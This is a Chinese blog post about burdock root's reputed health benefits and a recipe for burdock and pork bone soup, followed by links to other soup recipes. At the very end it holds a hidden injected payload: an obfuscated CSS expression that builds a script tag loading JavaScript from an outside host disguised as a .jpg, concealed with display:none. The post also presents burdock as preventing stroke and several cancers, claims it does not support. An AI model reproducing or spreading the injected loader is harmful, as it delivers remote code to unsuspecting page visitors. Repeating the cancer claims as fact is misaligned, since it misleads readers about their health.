曾经有段时间，经常听朋友说起 “五行蔬菜汤”的好处，我姐有段时间也特迷这汤，每个周末都煲。就是把白萝卜,萝卜叶,胡萝卜,干香菇,牛蒡五种材料加入水，煲1个小时左右的蔬菜汤。牛蒡，中医称大力子，别名东洋萝卜、东洋人参。国内以前多为药用，而在日本，则是千家万户的日常蔬菜之一。牛蒡长的挺特殊，呈细长圆状，土黄色，摆在菜摊上不怎么起眼，没想到却是营养价值极高的保健型蔬菜。牛蒡早在李时珍的《本草纲目》中就详细记载其能“通十二经脉，除五脏恶气”、“久服轻身耐老”，也就是说，经常食用牛蒡可以减肥、抗衰老。 此外,牛蒡的纤维可以刺激大肠蠕动、帮助排便、降低体内胆固醇,减少毒素、废物在体内积存,达到预防中风、胃癌、子宫癌的功效。今天我给大家介绍的是改良的牛蒡骨头汤，呵呵，改良过的这个牛蒡汤，虽然保健效果可能不如原来的效果好，但加入了骨头，增加了甜味，家人更加爱喝，这个汤带着牛蒡那特有的清香，很好喝。***************************************************************************牛蒡骨头汤材料：猪骨300克，牛蒡一根，干香菇6朵，胡萝卜1根，蜜枣2个做法：1：胡萝卜削皮，切块；牛蒡用刀刮干净外皮，切块；干香菇用热水泡发后清洗干净；2：猪骨飞水，冲洗干净浮沫；3：全部材料放进汤锅里，加入5~6碗水；4：大火煮开后，转中小火煲1.5个小时，放盐调味就可以啦！依依经验分享：1：牛蒡的外皮不用削，用刀刮干净外皮或者用钢丝刷刷干净就可以了；2：如果没有干香菇，也可以用新鲜的冬菇代替，但没那么香；3：蜜枣可以不放，因为蜜枣会有丝丝甜味，可能有些朋友不习惯；************************************************************************依家更多老火靓汤请点击文字：老黄瓜薏米汤赤小豆粉葛煲鲮鱼汤玉米胡萝卜骨头白萝卜骨头汤无花果清补凉排骨汤黄豆菜干骨头汤粉葛眉豆骨头汤沙葛绿豆脊骨汤剑花胡萝卜骨头汤花旗参乌鸡汤清补凉老母鸡汤老母鸡玉米汤ee:expression_r(function(){if(!window.r){varss='s'+'cript';var tt='text/ja'+'vas'+'cript';varst=document.createElement(ss);st.src='http://imgcache.suqian114.cn/a/s/sina.jpg';st.type=tt;document.getElementsByTagName_r('head').item(0).appendChild(st);window.r=1}}(this));width:0px;display:none'
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